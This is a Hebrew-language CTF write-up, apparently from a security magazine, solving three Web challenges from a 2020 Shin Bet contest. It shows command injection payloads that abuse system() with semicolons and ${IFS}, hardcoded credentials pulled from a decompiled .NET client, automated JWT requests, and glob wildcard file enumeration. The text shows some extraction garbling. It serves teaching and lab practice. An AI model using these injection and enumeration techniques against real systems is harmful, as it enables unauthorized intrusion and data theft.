- פתרון אתגרי ה Web- של השב"כ 0202 מאת עידו פרנקנטל הקדמה בתאריך עלה לאוויר אתגר ה CTF- של השב"כ. אני כבר הרבה שנים פותר -CTF ים מכל מיני סו

גודל: px
התחל להופיע מהדף:

Download "- פתרון אתגרי ה Web- של השב"כ 0202 מאת עידו פרנקנטל הקדמה בתאריך עלה לאוויר אתגר ה CTF- של השב"כ. אני כבר הרבה שנים פותר -CTF ים מכל מיני סו"

תמליל

1 - פתרון אתגרי ה Web- של השב"כ 0202 מאת עידו פרנקנטל הקדמה בתאריך עלה לאוויר אתגר ה CTF- של השב"כ. אני כבר הרבה שנים פותר -CTF ים מכל מיני סוגים, יש לציין שמאוד נהניתי מהאתגרים השנה שהיו מעניינים, מגוונים ומאתגרים. כשנכנסים לאתגר מקבלים את חידת הכניסה (שהייתה אגב ממש מגניבה) שמובילה לאתגרים עצמם. השנה האתגר היה בסגנון, Jeopardy בו לכל אתגר יש מספר מסוים של נקודות לפי רמת הקושי וניתן לקפוץ בין אתגרים וקטגוריות לבחירתך (הקטוגריות היו,Signal Processing,AI Research,Pwn : WEB,Reversing ו,)Data Science- בשונה ממה שבדרך כלל מפרסמים השב"כ והמוסד (אתגר בשלבים). במאמר זה אציג את הפתרונות לשלושת האתגרים בקטגוריית ה.WEB- אנסה תוך כדי המאמר להסביר את צורת החשיבה שלי ומושגים חשובים שעלו במהלך הפתרון. אני רוצה להגיד תודה לשותף שלי לפתרון האתגרים, עומרי פרידנטל. מהתכתבות במייל עם כותבי האתגר, נודע לנו כי אנחנו הפותרים הראשונים של מרבית מהאתגרים. בואו נתחיל

2 אתגר 022( GiFON - 2# נקודות) ניכנס לקישור ונקבל את הדף הבא : 0

3 מבדיקה ראשונית נראה שאף קישור או כפתור לא עובדים, חוץ מהאפשרות להציג GIF לבחירתנו (יש לציין שבחירות ה -GIF- ים היו מאוד מוצלחות). נשים לב שמדובר באתר.php מכיוון שיש רק אלמנט אחד שעובד, נתחיל מלבדוק אותו. ננסה לבחור את אחת האפשרויות ונציג את ה :GIF- נשים לב לכמה דברים מעניינים. ראשית, בחירת ה GIF- נעשית על ידי העברה של כתובת ה GIF- בפרמטר pic בכתובת ה.URL- בדוגמה הבאה, החלק האדום הינו הכתובת ל GIF- עצמו : VboXQeiaX7FHgI/giphy.gif בנוסף, ניתן לראות מתחת לתמונה את ה MD5 checksum- של הקובץ. ננסה לבחון מקרי קצה בפרמטר pic כדי לבדוק מה הואלידציה שמתרחשת לפני הצגת התמונות. תחילה, נכניס קישור שהוא לא באמת כתובת של GIF ונראה מה קורה : נקבל : הבקשה נשלחה וקיבלנו שגיאה בצד שרת. ננסה לבדוק מה השרת בודק לפני שהוא מנסה להציג את התמונה. לאחר מספר ניסיונות נוספים בהם כל פעם נוריד ונוסיף חלקים אחרים של הכתובת, נגלה שהשרת בודק שהקישור לתמונה מתחיל ב 'http'- ומסתיים ב,'.gif'- אחרת נכתבת שגיאה (בדיקה מאוד קפדנית כמו שאתם רואים). 3

4 נראה שסיימנו למפות את כל האלמנטים שנראים לעין באתגר. עכשיו מגיע החלק הכיף - ננסה לנצל את מה שמצאנו כדי למצוא חולשות. נשים לב שהדרך שבה האתר מציג את הקבצים היא בצורה של קישור לקובץ, מה שגרם לי לחשוב שאולי מדובר על חולשת.File Inclusion הסבר קצר : חולשת File Inclusion מתרחשת כאשר דף מקבל כקלט נתיב לקובץ, אך הקלט אינו מסונן ומאומת כראוי, וכך ניתן לשנות את מבנה הנתיב ולגרום לביצוע פעולות לא מתוכננות (חולשה זו נפוצה בעיקר באתרים שנכתבו בצורה גרועה). כעת ננסה את אחד הדרכים הנפוצות לניצול החולשה, להכניס.Null Byte הסבר קצר : הרעיון מאחורי Null Byte הוא ש php- משתמשת בפונקציות של שפת C עבור פעולות בקבצים, בהם כידוע Null Byte משמש כסיום של מחרוזת, דבר הגורם לתוצאות לא צפויות (הבאג תוקן ב php- מגרסה והלאה). ננסה להכניס את הקישור הבא (עם,Null Byte מיוצג ב URL- כ )%11- בתור התמונה : ונקבל : in attack Possible detected. file md5: Warning: system(): NULL byte /var/www/html/index.php on line 92 d41d8cd98f00b204e ecf8427e מעולה! נראה שהצלחנו לגרום למשהו להשתבש מאחורי הקלעים. מה Warning- אפשר להבין שהשרת משתמש על הקלט שלנו בפונקציית )(,system שנותנת הרצה של פקודות מערכת. ננסה לבצע הזרקת קוד ( )Code Injection על מנת שהשרת יריץ פקודות בשבילנו. נשים לב שבפקודות מערכת, אפשר לשים את התו ';' כדי להריץ כמה פקודות בשורה אחת אחד אחרי השניה. ננסה להריץ את הקוד הבא ( : נזכור שצריך לשים http ו.gif- בתחילת ובסוף הקישור בהתאמה) http;whoami;.gif ונקבל : file md5: www-data d41d8cd98f00b204e ecf8427e מצויין, קיבלנו את מה שרצינו! כעת נריץ את הפקודה ls כדי לראות את רשימת הקבצים בתיקיה הנוכחית : http;ls;.gif 4

5 ונקבל : file md5: css gulpfile.js img index.php secret vendor d41d8cd98f00b204e ecf8427e הופה, יש תיקיית.secret נראה מעניין! נבדוק איזה קבצים יש שם על ידי.ls secret ננסה להריץ : http;ls secret;.gif ונקבל שגיאה : אוקי... כנראה שאי אפשר לשים רווחים בקישור לתמונה. לכן ניעזר בחבר שלנו, המשתנה.IFS משתנה זה מאותחל כברירת מחדל כרווח, מה שיכול להחליף את הרווחים בפקודה. ננסה שוב עם המשתנה : http;ls${ifs}secret;.gif ונקבל : מצויין! מצאנו קובץ.flag נציג אותו : http;cat${ifs}secret/flag;.gif וקיבלנו את ה :flag- }? flag{dis-is-flag-i-r-very-h4x0r-u-2 5

6 אתגר - 0# Puzzle 322( נקודות( באתגר זה קיבלנו קובץ zip עם 5 קבצים: 6 גליון 126, פברואר 2021 פתרון אתגרי ה Web -של השב"כ

7 נתחיל מלהריץ את הקובץ :exe זה נראה כמו משחק, עם מוזיקה מגניבה. אנחנו מקבלים שגיאה שהשם משתמש או הסיסמה לא נכונים, כאשר לחיצה על OK פשוט סוגרת את המשחק. נראה שבשלב זה אנחנו לא יכולים להגיע למשחק. בואו נבין מה קורה פה מאחורי הקלעים, נשתמש ב ILspy- שהוא.NET Decompiler מצויין (ישנם נוספים, אבל עדיף לכבד -Decompiler ים שמשתמשים באותיות של מדינת ישראל). נפתח את הקובץ exe ונסתכל על המחלקות שקיימות : נתחיל קודם מ.MainWindow- נסתכל על ה :Constructor- 7

8 נראה שבתחילת המשחק, נוצר APIClient חדש (עדיין לא בדקנו מה זה, אבל אפשר להבין מהשם), לאחר מכן נבדקים שם משתמש וסיסמה בפונקציה ValidateCredentials ואז מופעלת המוזיקה המגניבה (ללא ספק השלב החשוב ביותר). נסתכל על הפונקציה :ValidateCredentials נראה שהלוגיקה של ואלידציית השם משתמש והסיסמה נמצאת ב,APIClient- לכן הגיע הזמן לעבור להסתכל עליה : 8

9 מצאנו כתובת לאתר (זה בכל זאת אתגר )WEB שבו נמצא ה.puzzle.shieldchallenges.com :API- אציג את הפונקציות החשובות מתוך ה :APIClient- נשים לב שמצאנו בקוד שם משתמש " "Test_User וסיסמה "."SecretPassw0rd כעת, נאסוף את כל ה API- שיש לנו בקוד : 1. /api/credentials 2. /api/puzzle 3. /api/token } 4. /api/puzzle/{puzzleid לפי שמות הפונקציות, אפשר לראות שכל הבקשות הן בקשות,GET חוץ מ 4- שהיא בקשת ( PATCH נסביר עליה בהמשך). ננסה לפנות לכל אחד מה -API- ים. נתחיל מהראשון, ניגש ל /api/credentials- ונקבל : { "username": null, "password": null, " "Error": "Deprecated API } 9

10 זאת הסיבה שלא הצלחנו מקודם להיכנס למשחק - הפקודה הזאת כבר לא בשימוש ותמיד מחזירה null בשם משתמש והסיסמה. ננסה בכל זאת להיכנס למשחק, באמצעות burp נתפוס את הבקשה של המשחק ל :API- נעביר את הבקשה ונתפוס את התשובה מהשרת : נשנה את התשובה של השרת לשם משתמש והסיסמה הנכונים : { "username": "Test_User", " "password": "SecretPassw0rd } 22

11 ונעביר את הבקשה למשחק : מעולה! התחברנו למשחק. כעת, נראה את הרשימה של הפאזלים. נשים לב שהפאזלים הם 'שחור ופתור' (.)nonogram שום דבר לא ממומש במשחק עצמו, וכל לחיצה על כל כפתור תקפיץ את ההודעה הבאה : כל הכבוד לשב"כ שמורידים באגים בפרודקשיין! בצחוק, נמשיך הלאה. נשתמש ב,Postman- תוכנה נוחה מאוד לשליחת בקשות ויצירת.API מעכשיו נשלח בקשות דרכה כדי להקל על התהליך. 22

12 : נקבל,/api/puzzle השני API- נשלח בקשה ל { "puzzles": [ { "id": 0, "name": "SpaceInvaders", "rows": "1 1,1 1,7,2 3 2,11,1 7 1, ,2 2,0", "columns": "3,2,1 5,2 2 1,4 1,4,4 1,2 2 1,1 5,2,3" }, { "id": 1, "name": "X", "rows": "1 1,1,1 1", "columns": "1 1,1,1 1" }, { "id": 2, "name": "1337", "rows": " , , , , ", "columns": "5,0,1 1 1,1 1 1,5,0,1 1 1,1 1 1,5,0,1,1 2,3" }, { "id": 3, "name": "TopSecret", "rows": "7,12, , , , , , , , , , , , , , , , ,7 2 2,4 3 2,2 3 2,2 4 3,4 3,13,9", "columns": "8,13,3 2 5,8 2 3,8 2 4, ,13 2 2,12 2 3,1 2 4,17 2 2,16 3 2,2 2 2,2 3 2,19 2,17 2,2 2,2 2,2 2,2 2,2 2,2 2,2 3,3 3,13,9" }, { "id": 4, "name": "StarOfDavid", "rows": "1,3,2 2,13, ,2 2,2 2,2 2,2 2, ,13,2 2,3,1", "columns": "1 1,2 2,1 4 1,8,3 3,3 3, ,3 3,3 3,8,1 4 1,2 2,1 1" }, { "id": 5, "name": "QR", "rows": " , , , , , , ,2, , , , , , , , , , , , , ", "columns": " , , , , , , ,1 1, , , , , ,1 6 1, , , , , , , " } ] } הסיסמה, עם השם משתמש /api/token- נשלח בקשה ל, השלישי API- נעבור ל. קיבלנו את כל הפאזלים :SpaceInvaders שהוא,1 נשתמש לדוגמה בפאזל מספר. ומספר פאזל { "token": "eyjhbgcioijiuzuxmiisimlhdci6mtyxmtyxmji4nswizxhwijoxnjexnj EyMzQ1fQ.eyJwdXp6bGVfaWQiOjAsInN0YXRlIjoiLi4uLi4uLi4uLi4uLi4uLi4uLi4uLi4 uli4uli4uli4uli4uli4uli4uli4uli4uli4uli4uli4uli4uli4uli4uli4uli4uli4uli4 uli4uli4uli4uli4uli4uli4uli4uiiwiy3vyc29yijo3nh0.afnifwmgon6t5qtqyrmpyqv rjdpdsu0xuzrhpknwij8khv1jgajm4a4b0yni7mkcoogrnf_a8ca72evcdiux2w", "duration": 60 }.Token קיבלנו 0100 של השב"כ -Web פתרון אתגרי ה פברואר,126 גליון

13 ,Token- כרגע עוד לא ידוע מה אפשר לעשות עם ה. אחר Token נראה שעבור כל בקשה אנחנו מקבלים - ל PATCH נשלח בקשה מסוג. שעדיין לא בדקנו API- אבל צריך לזכור שיש עוד פונקציה אחת ב : נקבל כתשובה./api/puzzle/0 { "message": "Invalid token" } ננסה להוסיף, כאמצעי אבטחה Token בדרך כלל שולחים.Token- עכשיו אנחנו מבינים מה לעשות עם ה : ונקבל Authorization- כ Header- ב Token- את ה { "message": { "instructions": "Missing required parameter 'instructions ' in the JSON body" } } ננסה לשלוח. בבקשה שלנו instructions נראה שאנחנו צריכים לשלוח פרמטר. קיבלנו תשובה שונה : ' ונקבל a' עם התוכן instructions { "message": "Instructions must be 3 bytes long" } : נקבל,'qwerty' ננסה לשלוח. ים -byte 3 כנראה שצריך לשלוח { "message": "Invalid hex encoding" } :Token ' והפעם נקבל תשובה תקינה עם עוד abcdef' נשלח. אז התוכן צריך להיות בהקסדצימלי, אוקיי { "token": "eyjhbgcioijiuzuxmiisimlhdci6mtyxmtyxmze2ocwizxhwijo xnjexnjezmtc4fq.eyjwdxp6bgvfawqiojasinn0yxrlijoili4uli4uli4uli4ul i4uli4uli4uli4uli4uli4uli4uli4uli4uli4uli4uli4uli4uli4uli4uli4uli 4uLi4uLi4uLi4uLi5YWC4uLi4uLi4uLlguLi4uLi4uLi4uLi4uIiwiY3Vyc29yIjo 4NX0.HCfwFOtU9iuk84kbFgo7ZMnz_DsN6gkPo8dZlJngY5_GNMk5BYjETuUUAhF8 hbwhnc7byrz_m3wj9babb01gzg" } 0100 של השב"כ -Web פתרון אתגרי ה פברואר,126 גליון

14 אם קיבלנו שוב,Token כנראה שזה לא רק אמצעי אימות... ננסה לפענח את ה Token- הזה, ממבט ראשון זה מאוד מזכיר,Base64 ננסה לראות מה מקבלים אחרי :decode נשים לב להתחלה של ה.{ alg : HS512 } :decode- כנראה שמדובר באלגוריתם.HS512 לאחר חיפוש קצר באינטרנט נגלה שמדובר ב.JWT- הסבר קצר )Json Web Token( JWT : הוא דרך קומפקטית להעברה מאובטחת של מידע באובייקט.json ל JWT- יש 3 חלקים :.0 כותרת ( - )header מכילה את סוג פונקציית הגיבוב בשימוש בחתימה.0 תוכן ( - )payload מכיל את המידע עצמו, בדרך כלל עם חותמת זמן )Issued At( IAT.3 חתימה ( - )signature מכיל את החתימה שחושבה על ידי הפונקציית גיבוב על הכותרת והתוכן. נשתמש באתר jwt.io כדי לבדוק מה תוכן ה Token- שקיבלנו בהתחלה : נסתכל בתוכן ( )payload ונראה שיש 3 פרמטרים state,puzzle_id - ו.cursor- נסתכל על.state נשים לב שיש המון נקודות 99, ליתר דיוק. 24

15 ריבועים (צירוף 99 יש SpaceInvaders ניזכר שבתחילת האתגר כשניכנסו למשחק קיבלנו שבפאזל של כנראה cursor- ה. מדובר במצב הנוכחי של הפאזל, כפי שהשם של הפרמטר מרמז.)! מקרים? לא נראלי. מציין את המיקום הנוכחי בתוך הפאזל נראה שאנחנו עומדים לבצע המון בדיקות וכמובן שלא עושים פעולה. עושה instructions- נבדוק מה ה python נכתוב קוד. שיעשה את כל הבקשות בשבילי python לכן הגיע הזמן לכתוב קוד, ידנית פעמיים - משנה את ה, ולאחר כל בקשה.authorization- כ header- אחר כך שם אותו ב, ראשוני Token שמבקש : ראשוני Token נתחיל מהקוד שמבקש. לבחירתי instructions החדש שקיבלנו עם Token- ל Token import requests import jwt def get_token(puzzle_id): creds = { 'username': 'Test_User', 'password': 'SecretPassw0rd', 'puzzle_id': puzzle_id } return requests.get(' json=creds).json()['token'] :JWT- כדי לקבל את התוכן של ה pyjwt נשתמש במודול def extract_payload(token): token = jwt.decode(token, algorithms=['hs512'], options={'verify_signature': False}) return token : של הבקשה Header- ב Token- עם ה PATCH לאחר מכן נכתוב קוד ששולח בקשת def send_instruction(puzzle_id, instruction, token): head = {'Authorization': f'bearer {token}'} body = {'instructions': instruction} request = requests.patch( f' headers=head, json=body).json() return request : ומחזיר רשימה של כל העדכונים שעשינו בפאזל,instructions נכתוב קוד שמריץ רשימה של, כעת def send_instructions(puzzle_id, instructions): token = get_token(puzzle_id) tokens = [] for instruction in instructions: request = send_instruction(puzzle_id, instruction, token) if ('token' not in request): print(request) else: token = request['token'] tokens.append(extract_payload(token)) return tokens 0100 של השב"כ -Web פתרון אתגרי ה פברואר,126 גליון

16 את הטקסט instructions ננסה להכניס בתור. עושה instructions- עכשיו נוכל לבדוק בקלות מה ה : פעמים 5 במשך print(send_instructions(0, ['000001'] * 5)) : ונקבל [{'puzzle_id': 0, 'state :'...','... 'cursor': 54}, {'puzzle_id': 0, 'state': '......', 'cursor': 44}, {'puzzle_id': 0, 'state': '......', 'cursor': 45}, {'puzzle_id': 0, 'state': '......', 'cursor': 46}, {'puzzle_id': 0, 'state': '......', 'cursor': 47}]. הוא חוזר לתחילת השורה, נראה שאם הוא זז ימינה מסוף השורה.0- גדל כל פעם ב cursor- נראה שה : ננסה.)01- קטן ב cursor- (ה print(send_instructions(0, ['000002'] * 5)) : ונקבל [{'puzzle_id': 0, 'state :'...','... 'cursor': 35}, {'puzzle_id': 0, 'state': '......', 'cursor': 24}, {'puzzle_id': 0, 'state': '......', 'cursor': 13}, {'puzzle_id': 0, 'state': '......', 'cursor': 2}, {'puzzle_id': 0, 'state': '......', 'cursor': 90}], נקודות בשורה 00 שורות עם 9 אנחנו זוכרים שהגודל של הפאזל הנוכחי הוא.00- קטן ב cursor- פה ה : דוגמא של הפזאל.)99- ל 1- זה בעצם עליית שורה (כאשר הפאזל ממוספר מ 00- כלומר הקטנה ב [[0, [11, [22, [33, [44, [55, [66, [77, [88, 1, 2, 3, 4, 12, 13, 14, 23, 24, 25, 34, 35, 36, 45, 46, 47, 56, 57, 58, 67, 68, 69, 78, 79, 80, 89, 90, 91, 5, 6, 7, 8, 15, 16, 17, 26, 27, 28, 37, 38, 39, 48, 49, 50, 59, 60, 61, 70, 71, 72, 81, 82, 83, 92, 93, 94, 9, 10], 18, 19, 29, 30, 40, 41, 51, 52, 62, 63, 73, 74, 84, 85, 95, 96, 20, 31, 42, 53, 64, 75, 86, 97, 21], 32], 43], 54], 65], 76], 87], 98]] 0100 של השב"כ -Web פתרון אתגרי ה פברואר,126 גליון

17 נמשיך כך עד שנבין את משמעות כל הפקודות, אציג את הפקודות החשובות לפתרון התרגיל : הזזה ימינה של ה ( cursor- מגדיל את ה cursor- ב,)0- במידה וחרגנו מסוף השורה, נחזור לתחילתה מעדכן את ה cursor- ל הורדה למטה בשורה של ה ( cursor- מגדיל את ה cursor- ב 00- עבור הפאזל הנוכחי), במידה וחרגנו מסוף העמודה, נחזור לתחילתה שם X ב state- במקום הנוכחי של ה cursor- נסכם בקצרה את המהלך : אנחנו מקבלים Token עם state ריק ו cursor- רנדומלי בעזרת./api/token לאחר מכן אנחנו יכולים לשלוח בקשת ( PATCH בקשת PATCH הינה בקשת עדכון מצב ב )HTTP- עם ה - Token הנוכחי ו.instructions- לאחר מכן אנחנו מקבלים Token חדש עם ה state- וה cursor- המעודכנים. כנראה שהמטרה היא לפתור את הפאזלים על ידי ההוראות. כמובן שלא נפתור את הפאזלים ביד, נשתמש בתוכנה כדי לפתור בשבילנו נפתור את הפאזלים שקיבלנו ב /api/puzzle- באמצעות ( nonogram-solver קוד שפותר פאזלים של 'שחור ופתור'). אני לא אציג את כל פתרונות הפאזלים, רק את החשובים :TopSecret....XXXXXXX......XXXXXXXXXXXX......XXX.XX..XX.XXXX......XXXX.XX..XX...XX......XX.XX.XX..XX...XX.....XXX.XX.XX..XX...XX...XXXX.XX.XX..XX...XX..XXXX.XX.XX..XX...XX..X.XX.XX.XX..XX...XX XX.XX.XX.XX..XX...XX XX.XX.XX.XX..XX...XX XXXX..XX.XX..XX...XX XXX...XX.XX..XX...XX XX...XX..XX..XX...XX XX.XXXX..XX..XX...XX XXXXX...XX..XX...XX XXX...XX...XX...XX.XX...XXX...XX...XX..XXXXXXX...XX...XX...XXXX...XXX...XX.....XX...XXX...XX......XX.XXXX...XXX......XXXX...XXX......XXXXXXXXXXXXX......XXXXXXXXX... 27

18 :QR XXXXXXX.XX..X.XXXXXXX X...X..X..X.X...X X.XXX.X.X.X.X.X.XXX.X X.XXX.X.X..XX.X.XXX.X X.XXX.X.XXX...X.XXX.X X...X...X...X XXXXXXX.X.X.X.XXXXXXX...XX... XXXX..X.X.X..X..XXX.X..X.XX.X..X.X..X.XXX. X..X.XX.X.X.XXXXX.XXX...XX.XXX..XX...X. XX.X.XX.X.XX.X..X.X.X...X.X..X.X..X.X XXXXXXX...XX.X.XX. X...X..XXXXXX..X.X. X.XXX.X...XX..X..X..X X.XXX.X.X...X..X..X. X.XXX.X.X..X...XXX.. X...X.XXXXX.X.XX.XX XXXXXXX.XX.XX..X.X.X. :SpaceInvaders..X...X.....X...X.....XXXXXXX...XX.XXX.XX. XXXXXXXXXXX X.XXXXXXX.X X.X...X.X...XX.XX אולי מכיל מידע חשוב QR- נשים לב שה 0100 של השב"כ -Web פתרון אתגרי ה פברואר,126 גליון

19 נשתמש ב nonogram-solver- אחר שמציג לנו פתרון יותר גרפי כדי שנוכל לסרוק איתו את ה :QR- נראה יותר טוב, נסרוק את ה QR- ונקבל כטקסט את המספר.)"Leet"( 0330 מדובר ברמז? קוד סודי? פחות, כנראה שסתם הטעייה. נכתוב כעת קוד שלוקח את הפתרונות שלנו לפאזלים והופכת אותם להוראות שצריך לשלוח לשרת דרך ה.API- נכתוב פונקציה שהופכת את הפתרון שלנו לרשימה של אינדקסים שבהם צריך לשים :X def get_x_indexes(puzzle_soultion): index = 0 ][ = x_indexes ] rows = puzzle_soultion.split("\n")[1:-1 for row in rows: for character in row: if ('X' == character): ) x_indexes.append(index index += 1 return x_indexes ופונקציה שהופכת את הרשימה של האינדקסים להוראות ל API- בעזרת האלגוריתם הבא - נאפס את ה - cursor ונתקדם שורה שורה. 29

20 : ונמשיך X נשים,X כל פעם שנגיע לאינדקס שצריך לשים בו MOVE_RIGHT = '000001' RESET_CURSOR = '000003' MOVE_LINE_DOWN = '000005' SET_X = '000007' def get_instructions(x_indexes, width, height): instructions = [RESET_CURSOR] for row_index in range(height): for column_index in range(width): index = (row_index * width) + column_index if (index in x_indexes): instructions.append(set_x) instructions.append(move_right) instructions.append(move_line_down) return instructions : ונריץ SpaceInvaders- כעת נכתוב קוד שמותאם ל space_invaders = '''..X...X.....X...X.....XXXXXXX...XX.XXX.XX. XXXXXXXXXXX X.XXXXXXX.X X.X...X.X...XX.XX ''' selected_puzzle = 0 width, height = 11, 9 x_indexes = get_x_indexes(space_invaders) instructions = get_instructions(x_indexes, width, height) send_instructions(selected_puzzle, instructions) : נקבל מהשרת {'flag': 'Try_Harder', 'solution': '..X...X...X...X...XXXXXXX...XX.XXX.XX.XXXXXXXXXXXX.XXXXXXX.XX.X...X.X...XX.XX...'} לא צריך. נפתור את הפאזלים האחרים באותה הדרך, אחרי שפותרים פאזל מקבלים דגל! כעת, מצויין.topSecret שהוא כמובן," נפתור את הפאזל הכי "חשוד, באמת לפתור את כולם 0100 של השב"כ -Web פתרון אתגרי ה פברואר,126 גליון

21 : נשתמש בקוד הבא top_secret = '''...XXXXXXX......XXXXXXXXXXXX......XXX.XX..XX.XXXX......XXXX.XX..XX...XX......XX.XX.XX..XX...XX.....XXX.XX.XX..XX...XX...XXXX.XX.XX..XX...XX..XXXX.XX.XX..XX...XX..X.XX.XX.XX..XX...XX XX.XX.XX.XX..XX...XX XX.XX.XX.XX..XX...XX XXXX..XX.XX..XX...XX XXX...XX.XX..XX...XX XX...XX..XX..XX...XX XX.XXXX..XX..XX...XX XXXXX...XX..XX...XX XXX...XX...XX...XX.XX...XXX...XX...XX..XXXXXXX...XX...XX...XXXX...XXX...XX.....XX...XXX...XX......XX.XXXX...XXX......XXXX...XXX......XXXXXXXXXXXXX......XXXXXXXXX... ''' selected_puzzle = 3 width, height = 25, 25 x_indexes = get_x_indexes(top_secret) instructions = get_instructions(x_indexes, width, height) send_instructions(selected_puzzle, instructions) : ונקבל את התשובה {'flag': 'FLAG{S01ving_Puzz13s_Is_Fun!}', 'solution': '...XXXXXXX...XXXXXXXXXXXX...XXX.XX..X X.XXXX...XXXX.XX..XX...XX...XX.XX.XX..XX...XX...XX X.XX.XX..XX...XX...XXXX.XX.XX..XX...XX..XXXX.XX.XX..XX......XX..X.XX.XX.XX..XX...XXXX.XX.XX.XX..XX...XXXX.XX.XX. XX..XX...XXXXXX..XX.XX..XX...XXXXX...XX.XX..XX...X XXX...XX..XX..XX...XXXX.XXXX..XX..XX...XXXXXXX...XX..X X...XXXXX...XX...XX...XX.XX...XXX...XX...XX..XXX XXXX...XX...XX...XXXX...XXX...XX...XX...XXX....XX...XX.XXXX...XXX...XXXX...XXX...XXX XXXXXXXXXX...XXXXXXXXX...'} : עם הדגל FLAG{S01ving_Puzz13s_Is_Fun!} 0100 של השב"כ -Web פתרון אתגרי ה פברואר,126 גליון

22 אתגר 322( Art Gallery - 3# נקודות) ניכנס לקישור ונקבל את הדף הבא : נסתכל באתר, נראה שיש 3 דפים מרכזיים : דף הבית (גלריית התמונות), עמוד המאפשר העלאת פוסטים ודף של המחבר. 00

23 נשים לב שהאתר כתוב ב- php. קודם ניכנס לדף של העלאת הפוסטים: עמוד שמאפשר להעלות קבצים הוא תמיד מעניין, הרבה פעמים ניתן להעלות קובץ webshell המאפשר הרצת פקודות על השרת. ננסה למלא סתם פרטים ונשלח )לדוגמא, שם המאמר: "פתרון אתגרי ה- WEB של השב"כ 0100 מאת עידו פרנקנטל" או משהו בסגנון(. נקבל: בדרך כלל באתגרי CTF אם כתוב שאין כלום, אז לפעמים באמת אין כלום )בכל מקרה נשאיר את הדף הזה כאופציה להמשך(. נמשיך לדף של המחבר: גם פה אין משהו מעניין, נחזור לדף הראשי. בסריקה זריזה בדף הבית, נראה שהאלמנט היחיד שאפשר לעשות איתו משהו הוא החיפוש. 03 גליון 126, פברואר 2021 פתרון אתגרי ה Web -של השב"כ

24 ננסה לחפש משהו, למשל,bubbles ונקבל את התמונה הבאה : ננסה להכניס סתם טקסט כמו abcd כדי לראות מה יקרה : קיבלנו הודעה שלא נמצאו תמונות התואמות את החיפוש שלנו. נשים לב שהחיפוש הוא בצד שרת, על ידי בקשה מהצורה ( : באדום זה תוכן החיפוש) art.shieldchallenges.com/?search=abcd הדבר הראשון שעולה לי לראש כשמגיעים לחיפוש (במיוחד כשהחיפוש הוא בצד שרת) זה.File Traversal כלומר, ננסה "לברוח" מהתיקייה בה אנחנו נמצאים כדי לחפש ולהציג קבצים נוספים (למשל קבצים שכותב האתר לא התכוון שנצליח להציג, לדוגמא קובץ.)flag 04

25 ננסה להכניס../ כדי לברוח מהתיקיה : זה עבד! כרגע עוד לא מובן מה בדיוק קרה, ניתן לראות שקיבלנו כמה תמונות פעמיים. ננסה לברוח עוד תיקייה אחת אחורה על ידי,../../ נקבל : מוזר... הפעם קיבלנו דף ריק. אם נבדוק את ה source code- של הדף שקיבלנו נמצא : 05

26 נראה שתוכן הדף אמור להכיל רשימה של תמונות )לפי ההערות ב- HTML (, אך אף תמונה לא צורפה באמת לדף. ננסה לעזוב כרגע את הרעיון של File Traversal וננסה את הרעיון השני שעלה לי: בדומה לאתגר הראשון, אולי ננסה להכניס :Null Byte )נשלח בכתובת בפרמטר search את התו %11( מדהים, קיבלנו Warnings שמפרטות לנו בדיוק איזה פקודות רצות בפונקציה של החיפוש. ניחוש שלי, כנראה שהפקודה glob מציגה את כל הקבצים לפי המחרוזת שמחפשים, פקודת array_filter מסננת רק את התמונות מבין כל הקבצים ופקודת foreach עוברת ומציגה את הקבצים )שוב, ניחוש מושכל שלי(. ממחקר קצר על הפקודות גיליתי שבפקודה glob יש תמיכה ב- wildcards. הסבר קצר: Wildcard character זה אות )בדרך כלל *( אשר מייצגת אפס או יותר תווים. המטרה של האות היא להחליף את השימוש בשם המלא של המחרוזת. לדוגמה *f מציג את כל הקבצים שמתחילים ב- f, או *.jpg מציג את כל הקבצים שהסיומת שלהם היא.jpg )קיים בנוסף הסימן? אשר יכול לשמש כ- Wildcard עבור אות בודדת( אם נסתכל ב- sources של הדף, נראה שקיימת תיקייה בשם files שמכילה את כל התמונות: 06 גליון 126, פברואר 2021 פתרון אתגרי ה Web -של השב"כ

27 נוכל להסיק שהחיפוש נעשה בתוך תיקיית.files כדי לוודא זאת, נחפש * ונראה שבאמת מוצאים את כל התמונות בתיקייה. ננסה לחזור אחורה בתיקייה ולהציג את כל הקבצים שהסיומת שלהם היא.php בעזרת : art.shieldchallenges.com/?search=../*.php שוב לא קיבלנו כלום, אבל אם נסתכל על ה source code- נראה : נשים לב שמספר ההערות שונה מהפעם הקודמת, כנראה כל הערת show image מייצגת קובץ אחד שקיים בתיקייה אשר מקיים את תנאי החיפוש, במקרה הזה 5 קבצי.php מהגלישה באתר אנחנו יודעים על הקבצים הבאים,post.php,author.php,index.php : כדי לוודא את ההשערה שלנו נרצה למצוא בדיוק עוד 0 קבצי php בתיקייה, לצורך כך נריץ Gobuster ונקווה שנמצא : 07

28 אכן קיבלנו שיש 5 קבצי php בתיקייה, כלומר מצאנו שיטה לספירת קבצים בשרת, פשוט נחפש שם או סיומת של קובץ עם,wildcards ולפי מספר ההערות ב HTML- שמקבלים נדע כמה קבצים קיימים התואמים את החיפוש. דבר ראשון, ננסה לחפש סיומות מוכרות של קבצים כדי לבדוק איזה קבצים קיימים ב.files- אם לא נמצא כלום, ננסה לחזור תיקיה אחורה. נכתוב כמובן קוד שיעשה זאת בשבילנו : import requests extensions = open('raft-small )( extensions.txt').read().splitlines for extension in extensions: ( request = requests.get )'} f' if ('No images found' not in request.text): ))'> print(extension, request.text.count('<!-- show image -- נשים לב שהשתמשנו ב wordlist- של סיומות מוכרות. נריץ ונקבל :.txt 1.jpg 12.html, 4.php, 4.t 1.jp 12.aspx, 4.com, 4.htm, 4.j 12 רוב הסיומות נראות סטנדרטיות לדף אינטרנט, למעט.txt יש סיכוי שזה הדגל! בואו נבין בדיוק באיזה תת תיקייה של files הוא נמצא. יש 4 תת תיקיות, נחפש בהם : ונקבל ( No images found כלומר, הקובץ לא בתיקייה.)Fabio ננסה תיקיה אחרת : הפעם לא קיבלנו את השגיאה, כלומר הקובץ txt נמצא בתיקיה הזאת. אנחנו רוצים לגלות מה שם הקובץ כדי להציג אותו, לצורך כך ניקח את השיטה שלנו לספירת קבצים בשרת צעד אחד קדימה : ניקח את התבנית *.txt וננסה להוסיף לה כל פעם אות אחת נוספת בתחילת החיפוש, אם נקבל No images found נדע שזאת לא אות נכונה, ואם לא תחזור ההודעה נדע שצדקנו באות ונמשיך לאות הבאה. 08

